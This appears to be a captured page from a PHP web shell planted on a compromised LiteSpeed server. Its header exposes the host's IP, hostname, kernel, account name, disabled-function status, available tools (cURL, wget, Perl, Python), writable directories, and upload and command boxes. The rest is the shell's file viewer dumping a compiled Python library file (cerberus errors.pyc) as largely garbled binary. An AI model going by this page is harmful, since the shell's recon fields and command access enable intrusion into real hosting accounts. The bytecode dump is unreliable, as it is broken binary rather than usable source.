403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.147.104.221
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python38/lib/python3.8/site-packages/cerberus/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python38/lib/python3.8/site-packages/cerberus/__pycache__/errors.cpython-38.pyc
U

���`S�@s�dZddlmZddlmZmZddlmZmZddlm	Z	ddl
mZddlm
Z
mZddlmZmZed	d
�Zedd�Zedd�Zd
Zedd�Zedd�Zedd�Zedd�Zedd�Zedd�ZdZedd�Zedd�Zedd�Zedd�Zed d!�Zed"d#�Z ed$d%�Z!ed&d'�Z"ed(d)�Z#ed*d+�Z$ed,d-�Z%ed.d-�Z&ed/d0�Z'ed1d0�Z(ed2d3�Z)ed4d�Z*ed5d6�Z+ed7d8�Z,ed9d:�Z-ed;d<�Z.ed=d�Z/ed>d�Z0ed?d�Z1ed@dA�Z2Z3edBdC�Z4Z5edDd!�Z6edEd�Z7edFdG�Z8edHdI�Z9edJdK�Z:edLdM�Z;dNZ<dOZ=GdPdQ�dQe>�Z?GdRdS�dSe@�ZAGdTdU�dUe�ZBGdVdW�dWeB�ZCGdXdY�dYeC�ZDGdZd[�d[eC�ZEGd\d]�d]e>�ZFGd^d_�d_eF�ZGd`da�ZHGdbdc�dceF�ZIGddde�deeI�ZJdS)fz? This module contains the error-related constants and classes. �)�absolute_import)�defaultdict�
namedtuple)�copy�deepcopy)�wraps)�pformat)�PYTHON_VERSION�MutableMapping)�compare_paths_lt�quote_string�ErrorDefinitionz
code, ruleN��document is missing��required��Zdependencies��Zexcludes�!�''{0}' is not a document, must be a dict�"�empty�#Znullable�$�type�%�schema�&�items�'Z	minlength�(Z	maxlength�AZregex�B�min�C�max�D�allowed�E�FZ	forbidden�G�H�contains�`�aZcoerce�bZrename_handler�c�readonly�dZdefault_setter����Z	keysrules�Zvaluesrules���Znoneof�Zoneof�Zanyof�Zallofz0schema definition for field '{0}' must be a dictzvalidation schema missingc@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Ze	dd
��Z
e	dd��Ze	dd��Ze	dd��Z
e	dd��Ze	dd��ZdS)�ValidationErrorz:A simple class to store and query basic error information.cCs.||_||_||_||_||_||_||_dS�N)�
document_path�schema_path�code�rule�
constraint�value�info)�selfrBrCrDrErFrGrH�rJ�@/opt/alt/python38/lib/python3.8/site-packages/cerberus/errors.py�__init__^szValidationError.__init__cCst|�t|�kS)z:Assumes the errors relate to the same document and schema.)�hash�rI�otherrJrJrK�__eq__qszValidationError.__eq__cCst|j�t|j�At|j�AS)z>Expects that all other properties are transitively determined.)rMrBrCrD�rIrJrJrK�__hash__uszValidationError.__hash__cCs,|j|jkrt|j|j�St|j|j�SdSrA)rBrrCrNrJrJrK�__lt__yszValidationError.__lt__c
Cs>dj|jjtt|��|j|jt|j�t|j	�t|j
�|jd�S)Nz�{class_name} @ {memptr} ( document_path={document_path},schema_path={schema_path},code={code},constraint={constraint},value={value},info={info} ))�
class_nameZmemptrrBrCrDrFrGrH)�format�	__class__�__name__�hex�idrBrCrDrrFrGrHrQrJrJrK�__repr__s
��zValidationError.__repr__cCs|jr|jdSdS)zX
        A list that contains the individual errors of a bulk validation error.
        rN)�is_group_errorrHrQrJrJrK�child_errors�szValidationError.child_errorscCs@|js
dStt�}|jD]"}|jt|j�}||�|�q|S)z�
        Dictionary with errors of an \*of-rule mapped to the index of the definition it
        occurred in. Returns :obj:`None` if not applicable.
        N)�is_logic_errorr�listr\rC�len�append)rI�result�error�irJrJrK�definitions_errors�s
z"ValidationError.definitions_errorscCs|jr|jdSdSdS)z6Field of the contextual mapping, possibly :obj:`None`.���N)rBrQrJrJrK�field�s
zValidationError.fieldcCst|jtj@�S)z(``True`` for errors of bulk validations.)�boolrD�ERROR_GROUPrQrJrJrKr[�szValidationError.is_group_errorcCst|jtjtj@�S)z[
        ``True`` for validation errors against different schemas with \*of-rules.
        )rgrD�LOGICALrhrQrJrJrKr]�szValidationError.is_logic_errorcCst|jtj@�S)z"``True`` for normalization errors.)rgrD�
NORMALIZATIONrQrJrJrK�is_normalization_error�sz&ValidationError.is_normalization_errorN)rW�
__module__�__qualname__�__doc__rLrPrRrSrZ�propertyr\rdrfr[r]rkrJrJrJrKr@[s$




r@c@seZdZdZdd�ZdS)�	ErrorListz�
    A list for :class:`~cerberus.errors.ValidationError` instances that can be queried
    with the ``in`` keyword for a particular :class:`~cerberus.errors.ErrorDefinition`.
    cs*t|t�st�|j�t�fdd�|D��S)Nc3s|]}|j�kVqdSrA)rD)�.0�x�Zwanted_coderJrK�	<genexpr>�sz)ErrorList.__contains__.<locals>.<genexpr>)�
isinstancer
�	TypeErrorrD�any)rIZerror_definitionrJrsrK�__contains__�s
zErrorList.__contains__N)rWrlrmrnrxrJrJrJrKrp�srpc@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Ze
dd��Ze
dd��Zdd�Zdd�ZdS)�
ErrorTreeNode)�descendants�errors�parent_node�path�	tree_rootcCs8||_|jj|_|d|jjd�|_t�|_i|_dS�Nr)r|r~�depthr}rpr{rz)rIr}r|rJrJrKrL�s

zErrorTreeNode.__init__cCs"t|t�r||jkS||jkSdSrA)rur
r{rz)rI�itemrJrJrKrx�s

zErrorTreeNode.__contains__cCs|j|=dSrA�rz)rI�keyrJrJrK�__delitem__�szErrorTreeNode.__delitem__cCs
t|j�SrA)�iterr{rQrJrJrK�__iter__�szErrorTreeNode.__iter__cCs>t|t�r.|jD]}|j|jkr|SqdS|j�|�SdSrA)rur
r{rDrz�get)rIr�rbrJrJrK�__getitem__�s


zErrorTreeNode.__getitem__cCs
t|j�SrA)r_r{rQrJrJrK�__len__�szErrorTreeNode.__len__cCs|��SrA)�__str__rQrJrJrKrZ�szErrorTreeNode.__repr__cCs||j|<dSrAr�)rIr�rGrJrJrK�__setitem__�szErrorTreeNode.__setitem__cCst|j�dt|j�S)N�,)�strr{rzrQrJrJrKr��szErrorTreeNode.__str__cCs
t|j�SrA)r_r}rQrJrJrKr��szErrorTreeNode.depthcCs|jjSrA)r~�	tree_typerQrJrJrKr�szErrorTreeNode.tree_typecCs�|�|�}||j}||jkr,t||�||<||}t|�|jdkr||j�|�|j��|jr�|j	D]}|j
�|�qhn
|�|�dSr)�	_path_of_r�rzryr_r{r`�sortr[r\r~�add)rIrbZ
error_pathr��node�child_errorrJrJrKr�s




zErrorTreeNode.addcCst||jd�S)N�_path)�getattrr��rIrbrJrJrKr�szErrorTreeNode._path_of_N)rWrlrm�	__slots__rLrxr�r�r�r�rZr�r�ror�r�r�r�rJrJrJrKry�s 	

rycs:eZdZdZddd�Z�fdd�Zdd�Zd	d
�Z�ZS)�	ErrorTreezw
    Base class for :class:`~cerberus.errors.DocumentErrorTree` and
    :class:`~cerberus.errors.SchemaErrorTree`.
    rJcCs8d|_||_d|_t�|_i|_|D]}|�|�q$dS)NrJ)r|r~r}rpr{rzr��rIr{rbrJrJrKrL szErrorTree.__init__cs6|�|�s"|j�|�|j��ntt|��|�dS)zl
        Add an error to the tree.

        :param error: :class:`~cerberus.errors.ValidationError`
        N)r�r{r`r��superr�r�r��rVrJrKr�)s
z
ErrorTree.addcCs"|�|�}|dk	r|jSt�SdS)z�
        Returns all errors for a particular path.

        :param path: :class:`tuple` of :term:`hashable` s.
        :rtype: :class:`~cerberus.errors.ErrorList`
        N)�fetch_node_fromr{rp)rIr}r�rJrJrK�fetch_errors_from5s
zErrorTree.fetch_errors_fromcCs&|}|D]}||}|dkrq"q|S)z�
        Returns a node for a path.

        :param path: Tuple of :term:`hashable` s.
        :rtype: :class:`~cerberus.errors.ErrorTreeNode` or :obj:`None`
        NrJ)rIr}�contextr�rJrJrKr�BszErrorTree.fetch_node_from)rJ)	rWrlrmrnrLr�r�r��
__classcell__rJrJr�rKr�s

	
r�c@seZdZdZdZdS)�DocumentErrorTreezv
    Implements a dict-like class to query errors by indexes following the structure of a
    validated document.
    ZdocumentN�rWrlrmrnr�rJrJrJrKr�Qsr�c@seZdZdZdZdS)�SchemaErrorTreezq
    Implements a dict-like class to query errors by indexes following the structure of
    the used schema.
    rNr�rJrJrJrKr�Zsr�c@sPeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�ZdS)�BaseErrorHandlerziBase class for all error handlers.
    Subclasses are identified as error-handlers with an instance-test.cOsdS)z%Optionally initialize a new instance.NrJ�rI�args�kwargsrJrJrKrLgszBaseErrorHandler.__init__cCst�dS)a,
        Returns errors in a handler-specific format.

        :param errors: An object containing the errors.
        :type errors: :term:`iterable` of
                      :class:`~cerberus.errors.ValidationError` instances or a
                      :class:`~cerberus.Validator` instance
        N��NotImplementedError�rIr{rJrJrK�__call__ks	zBaseErrorHandler.__call__cCst�dS)z5Be a superhero and implement an iterator over errors.Nr�rQrJrJrKr�vszBaseErrorHandler.__iter__cCst�dS)z�
        Add an error to the errors' container object of a handler.

        :param error: The error to add.
        :type error: :class:`~cerberus.errors.ValidationError`
        Nr�r�rJrJrKr�zszBaseErrorHandler.addcCsdS)z�
        Optionally emits an error in the handler's format to a stream. Or light a LED,
        or even shut down a power plant.

        :param error: The error to emit.
        :type error: :class:`~cerberus.errors.ValidationError`
        NrJr�rJrJrK�emit�szBaseErrorHandler.emitcCsdS)z�
        Gets called when a validation ends.

        :param validator: The calling validator.
        :type validator: :class:`~cerberus.Validator`
        NrJ�rI�	validatorrJrJrK�end�szBaseErrorHandler.endcCs|D]}|�|�qdS)z�
        Adds all errors to the handler's container object.

        :param errors: The errors to add.
        :type errors: :term:`iterable` of
                      :class:`~cerberus.errors.ValidationError` instances
        N)r�r�rJrJrK�extend�szBaseErrorHandler.extendcCsdS)z�
        Gets called when a validation starts.

        :param validator: The calling validator.
        :type validator: :class:`~cerberus.Validator`
        NrJr�rJrJrK�start�szBaseErrorHandler.startN)rWrlrmrnrLr�r�r�r�r�r�r�rJrJrJrKr�cs	
	r�c@seZdZdd�Zdd�ZdS)�ToyErrorHandlercOstd��dS)NzThis is not supposed to happen.)�RuntimeErrorr�rJrJrKr��szToyErrorHandler.__call__cCsdSrArJrQrJrJrK�clear�szToyErrorHandler.clearN)rWrlrmr�r�rJrJrJrKr��sr�cs$t���fdd��}tdkr |S�S)z�Cerberus error messages expect regular binary strings.
    If unicode is used in a ValidationError message can't be printed.

    This decorator ensures that if legacy Python is used unicode
    strings are encoded before passing to a function.
    csVdd�}t|�}||j�|_||j�|_||j�|_||j�|_||j�|_�||�S)NcSst|t�r|�d�S|S)z1Helper encoding unicode strings into binary utf-8zutf-8)ru�unicode�encode)rGrJrJrK�_encode�s

z0encode_unicode.<locals>.wrapped.<locals>._encode)rrBrCrFrGrH)�objrbr���frJrK�wrapped�szencode_unicode.<locals>.wrappedr)rr	)r�r�rJr�rK�encode_unicode�sr�c%@s�eZdZdZdddddddd	d
ddd
dddddddddddddddddddddd d!d"d#�$ZdDd%d&�Zd'd(�Zd)d*�Zed+d,��Z	e
d-d.��Zd/d0�Zd1d2�Z
d3d4�Zd5d6�Zd7d8�Zd9d:�Zd;d<�ZdEd>d?�ZdFd@dA�ZdGdBdC�Zd$S)H�BasicErrorHandlerz�
    Models cerberus' legacy. Returns a :class:`dict`. When mangled through :class:`str`
    a pretty-formatted representation of that tree is returned.
    z{0}rzrequired fieldz
unknown fieldzfield '{0}' is requiredz%depends on these values: {constraint}z&{0} must not be present with '{field}'rzempty values not allowedznull value not allowedzmust be of {constraint} typezmust be of dict typez'length of list should be {0}, it is {1}zmin length is {constraint}zmax length is {constraint}z)value does not match regex '{constraint}'zmin value is {constraint}zmax value is {constraint}zunallowed value {value}zunallowed values {0}zmissing members {0}z&field '{field}' cannot be coerced: {0}z&field '{field}' cannot be renamed: {0}zfield is read-onlyz.default value for '{field}' cannot be set: {0}z'mapping doesn't validate subschema: {0}z.one or more sequence-items don't validate: {0}z2one or more keys of a mapping  don't validate: {0}z3one or more values in a mapping don't validate: {0}z one or more definitions validatez#none or more than one rule validatezno definitions validatez&one or more definitions don't validate)$rrrrrrrrrrrrrr!r"r#r$r&r(r*r+r,r-r0r1r2r4r6r7r8r9�r<r=r>r?NcCs|dkrin||_dSrA��tree)rIr�rJrJrKrL�szBasicErrorHandler.__init__cCs|��|�|�|jSrA)r�r��pretty_treer�rJrJrKr��s
zBasicErrorHandler.__call__cCs
t|j�SrA)rr�rQrJrJrKr�szBasicErrorHandler.__str__cCs&t|j�}|D]}|�||�q|SrA)rr��_purge_empty_dicts)rIZprettyrfrJrJrKr�s
zBasicErrorHandler.pretty_treecCs^t|�}|�|�|jr$|�|�n6|jr6|�|�n$|j|jkrZ|�|j	|�
|j|��dSrA)r�_rewrite_error_pathr]�_insert_logic_errorr[�_insert_group_errorrD�messages�
_insert_errorrB�_format_messagerfr�rJrJrKr�
s
�zBasicErrorHandler.addcCs
i|_dSrAr�rQrJrJrKr�szBasicErrorHandler.clearcCs|��dSrA)r�r�rJrJrKr�!szBasicErrorHandler.startcCs"|j|jj|j|j||jd��S)N)rFrfrG)r�rDrUrHrFrG)rIrfrbrJrJrKr�$s�z!BasicErrorHandler._format_messagecCs�|d}t|�dkrT||jkrD|j|��}|j|||g7<q�|ig|j|<nnt|�dkr�||jkrvig|j|<|j|d}|r�|jt|�d�}n|��}|�|dd�|�|�|j�dS)z�
        Adds an error or sub-tree to :attr:tree.

        :param path: Path to the error.
        :type path: Tuple of strings and integers.
        :param node: An error message or a sub-tree.
        :type node: String or dictionary.
        rrrer�N)r_r��poprVrr��update)rIr}r�rf�subtree�newrJrJrKr�)s	

zBasicErrorHandler._insert_errorcCsL|jD]@}|jr|�|�q|jr.|�|�q|�|j|�|j|��qdSrA)	r\r]r�r[r�r�rBr�rf)rIrbr�rJrJrKr�Es
�z%BasicErrorHandler._insert_group_errorc	Cst|j}|�|j|�||��|j��D]H}|D]>}|jrD|�|�q.|jrV|�	|�q.|�|j|�||��q.q&dSrA)
rfr�rBr�rd�valuesr]r�r[r�)rIrbrf�definition_errorsr�rJrJrKr�Qs
�z%BasicErrorHandler._insert_logic_errorcCs6|d}|ds|��n|D]}|�||�qdS)Nre)r�r�)rIZ
error_listr�r�rJrJrKr�as

z$BasicErrorHandler._purge_empty_dictsrcCs*|jr|�||�n|jr&|�||�dS)zY
        Recursively rewrites the error path to correctly represent logic errors
        N)r]�_rewrite_logic_error_pathr[�_rewrite_group_error_path)rIrb�offsetrJrJrKr�isz%BasicErrorHandler._rewrite_error_pathcCsDt|j�|}|jD]*}|j|d�}|j||_|�||�qdSrA)r_rBr\r�)rIrbr��child_startr��
relative_pathrJrJrKr�rs

z+BasicErrorHandler._rewrite_group_error_pathc
Csxt|j�|}|j��D]Z\}}|s&qd|j|f}|j|f}|D],}|j|d�}	||	|_|�||d�qDqdS)Nz%s definition %sr)r_rBrdr rEr�)
rIrbr�r�rcr��nodenamer}r��rel_pathrJrJrKr�{s
z+BasicErrorHandler._rewrite_logic_error_path)N)r)r)r)rWrlrmrnr�rLr�r�ror�r�r�r�r�r�r�r�r�r�r�r�r�rJrJrJrKr��sn�'



	
	r�c@seZdZej��Zded<dS)�SchemaErrorHandlerzunknown rulerN)rWrlrmr�r�rrJrJrJrKr��s
r�)Krn�
__future__r�collectionsrrrr�	functoolsr�pprintrZcerberus.platformr	r
Zcerberus.utilsrrr
ZCUSTOMZDOCUMENT_MISSINGZREQUIRED_FIELDZ
UNKNOWN_FIELDZDEPENDENCIES_FIELDZDEPENDENCIES_FIELD_VALUEZEXCLUDES_FIELDZDOCUMENT_FORMATZEMPTY_NOT_ALLOWEDZNOT_NULLABLEZBAD_TYPEZBAD_TYPE_FOR_SCHEMAZITEMS_LENGTHZ
MIN_LENGTHZ
MAX_LENGTHZREGEX_MISMATCHZ	MIN_VALUEZ	MAX_VALUEZUNALLOWED_VALUEZUNALLOWED_VALUESZFORBIDDEN_VALUEZFORBIDDEN_VALUESZMISSING_MEMBERSrjZCOERCION_FAILEDZRENAMING_FAILEDZREADONLY_FIELDZSETTING_DEFAULT_FAILEDrhZMAPPING_SCHEMAZSEQUENCE_SCHEMAZ	KEYSRULESZ	KEYSCHEMAZVALUESRULESZVALUESCHEMAZ	BAD_ITEMSriZNONEOFZONEOFZANYOFZALLOFZSCHEMA_ERROR_DEFINITION_TYPEZSCHEMA_ERROR_MISSING�objectr@r^rpryr�r�r�r�r�r�r�r�rJrJrJrK�<module>s~





































hI7		H?

Youez - 2016 - github.com/yon3zu
LinuXploit